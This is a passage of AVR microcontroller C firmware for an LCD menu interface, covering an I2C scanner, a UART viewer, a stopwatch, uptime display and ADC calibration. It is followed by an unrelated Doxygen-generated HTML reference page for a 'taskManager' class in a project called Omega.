i2cuart_init(i2cuart_addr,baudrate); lcd_clear(); luint2str(buf,rv); lcd_gotoxy(2,0); lcd_puts_P(PSTR("POLL PERIOD:")); lcd_gotoxy((LCD_MAXX-strlen((char*)buf))>>1,1); lcd_puts(buf); tui_waitforkey(); } break; case 1:{ // RX Viewer uint8_t x = 0; lcd_clear(); uint8_t lcdx = 0; uint8_t lcdy = 0; while (!x) { uint8_t r = i2cuart_poll_rx(i2cuart_addr,NULL); if (r) { uint8_t c=' '; i2cuart_readfifo(i2cuart_addr,&c,1); if (c==0xd) { lcdy ^= 1; lcdx = 0; lcd_gotoxy(lcdx,lcdy); } else { lcd_putchar(c); lcdx++; if (lcdx>=LCD_MAXX) { lcdy ^= 1; lcdx = 0; lcd_gotoxy(lcdx,lcdy); } } } timer_set_waiting(); x = buttons_get(); mini_mainloop(); } } break; case 2:{ // TX Hello unsigned char buf[16]; strcpy_P((char*)buf,PSTR("Hello World!\r\n")); i2cuart_writefifo(i2cuart_addr,buf,14); } break; case 3:{ // Check Presence PGM_P l1 = PSTR("I2C-UART IS"); if (i2cuart_exists(i2cuart_addr)) { tui_gen_message(l1,PSTR("PRESENT")); } else { tui_gen_message(l1,PSTR("NOT PRESENT")); } } break; } } } const unsigned char tui_dm_s6[] PROGMEM = "I2C SCAN"; void tui_i2c_scan(void) { unsigned char buf[5]; buf[4] = 0; for (uint16_t a=0;a<0x100;a+=2) { uint8_t v = i2c_start(a); if (v==0) { i2c_stop(); tui_hexbyte_printer(buf,a); tui_gen_message_m(PSTR("FOUND DEVICE:"),buf); } } tui_gen_message((PGM_P)tui_dm_s6,PSTR("END OF LIST")); } // Debug Info Menu start const unsigned char tui_dm_s1[] PROGMEM = "UPTIME"; const unsigned char tui_dm_s2[] PROGMEM = "RTC INFO"; const unsigned char tui_dm_s3[] PROGMEM = "ADC SAMPLES/S"; const unsigned char tui_dm_s4[] PROGMEM = "5HZ COUNTER"; const unsigned char tui_dm_s5[] PROGMEM = "RAW ADC VIEW"; const unsigned char tui_dm_s8[] PROGMEM = "SPIN TEST"; PGM_P const tui_dm_table[] PROGMEM = { (PGM_P)tui_dm_s1, // uptime (PGM_P)tui_dm_s2, // rtc info (PGM_P)tui_dm_s3, // adc samples (PGM_P)tui_dm_s4, // 5hz counter (PGM_P)tui_dm_s5, // Raw ADC view (PGM_P)tui_dm_s6, // I2C SCAN (PGM_P)tui_dm_s7, // I2C UART (PGM_P)tui_dm_s8, // SPIN TEST (PGM_P)tui_exit_menu, // exit }; void tui_spin_test(void) { struct tcalcstate s = { 0, 0, 10, 0 }; lcd_clear(); if (buttons_get()) { while (buttons_get_v()) mini_mainloop(); } for(;;) { mini_mainloop(); if (timer_get_1hzp()) break; } for (;;) { timer_set_waiting(); mini_mainloop(); if (timer_get_1hzp()) break; s.n1++; } tui_calc_show_result(&s,PSTR("RESULT:"),PSTR("")); } void tui_time_print(uint32_t nt) { unsigned char time[16]; // Time Format: "DDDDDd HH:MM:SS" uint16_t days; uint8_t hours, mins, secs, x,z; days = nt / 86400L; nt = nt % 86400L; hours = nt / 3600L; nt = nt % 3600L; mins = nt / 60; secs = nt % 60; time[0] = (days/10000)|0x30; days = days % 10000; time[1] = (days /1000)|0x30; days = days % 1000; time[2] = (days / 100)|0x30; days = days % 100; time[3] = (days / 10 )|0x30; time[4] = (days % 10 )|0x30; time[5] = 'd'; time[6] = ' '; time[7] = (hours/10) | 0x30; time[8] = (hours%10) | 0x30; time[9] = ':'; time[10]= (mins /10) | 0x30; time[11]= (mins %10) | 0x30; time[12]= ':'; time[13]= (secs /10) | 0x30; time[14]= (secs %10) | 0x30; time[15] = 0; z=0; if (time[0] == '0') { z=1; if (time[1] == '0') { z=2; if (time[2] == '0') { z=3; if (time[3] == '0') { z=4; if (time[4] == '0') { z = 7; if (hours == 0) { z = 10; } } } } } } x = (16 - (15-z)) / 2; lcd_gotoxy(x,1); lcd_puts(&(time[z])); } static void tui_uptime(void) { uint8_t x; lcd_clear(); lcd_gotoxy(5,0); lcd_puts_P((PGM_P)tui_dm_s1); for (;;) { tui_time_print(timer_get()); for (;;) { x = buttons_get(); mini_mainloop(); if (x) break; if (timer_get_1hzp()) break; } if (x) break; } } static void tui_adc_ss(void) { unsigned char buf[10]; extern uint16_t adc_avg_cnt; for (;;) { uint8_t x; lcd_clear(); uint2str(buf,adc_avg_cnt); lcd_puts(buf); for(;;) { x = buttons_get(); mini_mainloop(); if (x) break; if (timer_get_1hzp()) break; } if (x) break; } } static void tui_timer_5hzcnt(void) { unsigned char buf[10]; for (;;) { uint8_t x; uint8_t timer=timer_get_5hz_cnt(); lcd_clear(); uchar2str(buf,timer); lcd_puts(buf); while (timer==timer_get_5hz_cnt()) { x = buttons_get(); mini_mainloop(); if (x) return; } } } static void tui_raw_adc_view(void) { unsigned char buf[10]; for (;;) { uint8_t x; lcd_clear(); uint2str(buf,adc_raw_values[0]); lcd_puts(buf); adc_print_v(buf,adc_raw_values[0]); lcd_gotoxy(10,0); lcd_puts(buf); lcd_gotoxy(0,1); uint2str(buf,adc_raw_values[1]); lcd_puts(buf); adc_print_v(buf,adc_raw_values[1]); lcd_gotoxy(10,1); lcd_puts(buf); for (;;) { x = buttons_get(); mini_mainloop(); if (x) break; if (timer_get_1hzp()) break; } if (x) break; } } // Voltage: 13.63V // A: 3515 // B: 3507 // Raw 13.63V is 3489,28 // Thus MB_SCALE = 3489,28 / 3515 * 65536 => 65056,45919 #define ADC_MB_SCALE 65056 // SB_SCALE = 3489,28 / 3507 * 65536 => 65204,86284 #define ADC_SB_SCALE 65205 // Calib is 65536+diff, thus saved is diff = calib - 65536. //int16_t adc_calibration_diff[ADC_MUX_CNT] = { ADC_MB_SCALE-65536, ADC_SB_SCALE-65536 }; /* Used from tui.c / settings menu */ void tui_adc_calibrate(void) { const uint16_t min_calib_v = 6*256; // Min 6V on a channel to calibrate it. uint16_t target; uint16_t mcv = adc_read_mb(); uint16_t scv = adc_read_sb(); if ((mcv>min_calib_v)&&(scv>min_calib_v)) { target = (mcv+scv)/2; } else if (mcv>min_calib_v) { target = mcv; } else if (scv>min_calib_v) { target = scv; } else { tui_gen_message(PSTR("INVALID VOLTAGE"),PSTR("VALUES; <6V")); return; } uint16_t dV_target = adc_to_dV(target); uint32_t mbc=0; uint32_t sbc=0; for(;;) { uint8_t buf[10]; uint8_t x; if (adc_raw_values[0]>min_calib_v) { // Generate MB calib value uint16_t v = adc_raw_values[0]; mbc = ((((uint32_t)target)*65536UL)+(v/2))/v; if ((mbc<33000)||(mbc>98000)) mbc=0; } if (adc_raw_values[1]>min_calib_v) { // Generate SB calib value uint16_t v = adc_raw_values[1]; sbc = ((((uint32_t)target)*65536UL)+(v/2))/v; if ((sbc<33000)||(sbc>98000)) sbc=0; } lcd_clear(); buf[0] = 'M'; buf[1] = ':'; luint2str(buf+2,mbc); lcd_puts(buf); lcd_gotoxy(0,1); buf[0] = 'S'; luint2str(buf+2,sbc); lcd_puts(buf); adc_print_dV(buf,dV_target); lcd_gotoxy(10,0); lcd_puts(buf); for (;;) { x = buttons_get(); mini_mainloop(); if (x) break; if (timer_get_1hzp()) break; } switch (x) { default: break; case BUTTON_S1: dV_target++; if (dV_target>1600) dV_target = 800; target = adc_from_dV(dV_target); x = 0; break; case BUTTON_S2: dV_target--; if (dV_target<800) dV_target = 1600; target = adc_from_dV(dV_target); x = 0; break; } if (x) break; } PGM_P gts = PSTR("GOING TO SAVE"); if (mbc) { tui_gen_message(gts,PSTR("MB ADC CALIB")); if (tui_are_you_sure()) { int32_t v = mbc; v = v - 65536; adc_calibration_diff[0] = v; } } if (sbc) { tui_gen_message(gts,PSTR("SB ADC CALIB")); if (tui_are_you_sure()) { int32_t v = sbc; v = v - 65536; adc_calibration_diff[1] = v; } } } const unsigned char tui_om_s5[] PROGMEM = "DEBUG INFO"; static void tui_debuginfomenu(void) { uint8_t sel=0; for (;;) { sel = tui_gen_listmenu((PGM_P)tui_om_s5, tui_dm_table, 9, sel); switch (sel) { case 0: tui_uptime(); break; case 1: { PGM_P l1 = PSTR("RTC IS"); if (rtc_valid()) { tui_gen_message(l1,PSTR("VALID")); } else { tui_gen_message(l1,PSTR("INVALID")); } } break; case 2: tui_adc_ss(); break; case 3: tui_timer_5hzcnt(); break; case 4: tui_raw_adc_view(); break; case 5: tui_i2c_scan(); break; case 6: tui_i2cuart_menu(); break; case 7: tui_spin_test(); break; default: return; } } } // Useful tools start static volatile uint16_t stopwatch_timer=0; void stopwatch_taskf(void) { uint16_t timer = stopwatch_timer; timer += 1; if (timer>=60000) timer=0; stopwatch_timer = timer; timer_set_waiting(); } const unsigned char tui_om_s2[] PROGMEM = "STOPWATCH"; static void tui_stopwatch(void) { unsigned char time[8]; stopwatch_timer = 0; struct cron_task stopwatch_task = { NULL, stopwatch_taskf, SSTC/10, 0 }; // Format: mm:ss.s lcd_clear(); lcd_gotoxy(3,0); lcd_puts_P((PGM_P)tui_om_s2); for(;;) { mini_mainloop(); if (!buttons_get_v()) break; } timer_delay_ms(100); for(;;) { mini_mainloop(); if (buttons_get_v()) break; } cron_add_task(&stopwatch_task); time[6] = time[4] = time[3] = time[1] = time[0] = '0'; time[2] = ':'; time[5] = '.'; time[7] = 0; lcd_gotoxy(4,1); lcd_puts(time); timer_delay_ms(150); for(;;) { mini_mainloop(); if (timer_get_1hzp()) backlight_activate(); // Keep backlight on uint16_t tt,t2; uint16_t timer = stopwatch_timer; time[6] = 0x30 | (timer%10); tt = timer/10; t2 = tt%60; tt = tt/60; time[4] = 0x30 | (t2%10); time[3] = 0x30 | (t2/10); time[1] = 0x30 | (tt%10); time[0] = 0x30 | (tt/10); lcd_gotoxy(4,1); lcd_puts(time); if (buttons_get_v()) break; } cron_rm_task(&stopwatch_task); tui_waitforkey(); } const unsigned char tui_om_s1[] PROGMEM = "CALC"; // StopWatch const unsigned char tui_om_s3[] PROGMEM = "FUEL COST"; const unsigned char tui_om_s4[] PROGMEM = "FC HISTORY"; // Debug Info const unsigned char tui_om_s6[] PROGMEM = "POWER OFF"; PGM_P const tui_om_table[] PROGMEM = { (PGM_P)tui_om_s1, // calc (PGM_P)tui_om_s2, // stopwatch (PGM_P)tui_om_s3, // fc (PGM_P)tui_om_s4, // fc history (PGM_P)tui_om_s5, // debug info (PGM_P)tui_om_s6, // power off (PGM_P)tui_exit_menu, // exit }; void tui_othermenu(void) { uint8_t sel=0; for (;;) { sel = tui_gen_listmenu(PSTR("OTHERS"), tui_om_table, 7, sel); switch (sel) { default: return; case 0: tui_calc(); break; case 1: tui_stopwatch(); break; case 2: tui_calc_fuel_cost(); break; case 3: tui_calc_fc_history(); break; case 4: tui_debuginfomenu(); break; case 5: tui_poweroff(); break; } } }
gpl-3.0
Hao-Xu/Omega
docs/html/classtask_manager.html
6667
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.14"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>Omega: taskManager Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="navtree.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="resize.js"></script> <script type="text/javascript" src="navtreedata.js"></script> <script type="text/javascript" src="navtree.js"></script> <script type="text/javascript"> $(document).ready(initResizable); </script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/searchdata.js"></script> <script type="text/javascript" src="search/search.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td id="projectalign" style="padding-left: 0.5em;"> <div id="projectname">Omega &#160;<span id="projectnumber">0.0.1</span> </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.14 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <script type="text/javascript" src="menudata.js"></script> <script type="text/javascript" src="menu.js"></script> <script type="text/javascript"> $(function() { initMenu('',true,false,'search.php','Search'); $(document).ready(function() { init_search(); }); }); </script> <div id="main-nav"></div> </div><!-- top --> <div id="side-nav" class="ui-resizable side-nav-resizable"> <div id="nav-tree"> <div id="nav-tree-contents"> <div id="nav-sync" class="sync"></div> </div> </div> <div id="splitbar" style="-moz-user-select:none;" class="ui-resizable-handle"> </div> </div> <script type="text/javascript"> $(document).ready(function(){initNavTree('classtask_manager.html','');}); </script> <div id="doc-content"> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> </div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classtask_manager-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">taskManager Class Reference</div> </div> </div><!--header--> <div class="contents"> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a034bd43127331a49e48593147aa7cda3"><td class="memItemLeft" align="right" valign="top"><a id="a034bd43127331a49e48593147aa7cda3"></a> &#160;</td><td class="memItemRight" valign="bottom"><b>taskManager</b> (int m)</td></tr> <tr class="separator:a034bd43127331a49e48593147aa7cda3"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abd6f35d4dd5ad8f18f60886ba7b52e25"><td class="memItemLeft" align="right" valign="top"><a id="abd6f35d4dd5ad8f18f60886ba7b52e25"></a> void&#160;</td><td class="memItemRight" valign="bottom"><b>print</b> ()</td></tr> <tr class="separator:abd6f35d4dd5ad8f18f60886ba7b52e25"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a119e482c8acafa770568ba8578445ca5"><td class="memItemLeft" align="right" valign="top"><a id="a119e482c8acafa770568ba8578445ca5"></a> void&#160;</td><td class="memItemRight" valign="bottom"><b>initialize</b> (int &amp;argc, char **&amp;argv)</td></tr> <tr class="separator:a119e482c8acafa770568ba8578445ca5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a8d8797b3bc3691ccf7f6445e05c0f34e"><td class="memItemLeft" align="right" valign="top"><a id="a8d8797b3bc3691ccf7f6445e05c0f34e"></a> void&#160;</td><td class="memItemRight" valign="bottom"><b>getOptions</b> (int &amp;argc, char **&amp;argv)</td></tr> <tr class="separator:a8d8797b3bc3691ccf7f6445e05c0f34e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a584d4e55b58302308fd2d15f7ffd43c9"><td class="memItemLeft" align="right" valign="top"><a id="a584d4e55b58302308fd2d15f7ffd43c9"></a> void&#160;</td><td class="memItemRight" valign="bottom"><b>assemble</b> ()</td></tr> <tr class="separator:a584d4e55b58302308fd2d15f7ffd43c9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abef65e91b2ac2969750d0cf6979be684"><td class="memItemLeft" align="right" valign="top"><a id="abef65e91b2ac2969750d0cf6979be684"></a> void&#160;</td><td class="memItemRight" valign="bottom"><b>run</b> ()</td></tr> <tr class="separator:abef65e91b2ac2969750d0cf6979be684"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7cc568b0a99bc06adaa1938f38e0fb7f"><td class="memItemLeft" align="right" valign="top"><a id="a7cc568b0a99bc06adaa1938f38e0fb7f"></a> void&#160;</td><td class="memItemRight" valign="bottom"><b>postProcess</b> ()</td></tr> <tr class="separator:a7cc568b0a99bc06adaa1938f38e0fb7f"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <hr/>The documentation for this class was generated from the following files:<ul> <li>/Users/haoxu/Documents/git/Omega/src/classManager/<a class="el" href="task_manager_8h_source.html">taskManager.h</a></li> <li>/Users/haoxu/Documents/git/Omega/src/classManager/taskManager.cpp</li> </ul> </div><!-- contents --> </div><!-- doc-content --> <!-- start footer part --> <div id="nav-path" class="navpath"><!-- id is needed for treeview function! --> <ul> <li class="navelem"><a class="el" href="classtask_manager.html">taskManager</a></li> <li class="footer">Generated by <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.8.14 </li> </ul> </div> </body> </html>
gpl-3.0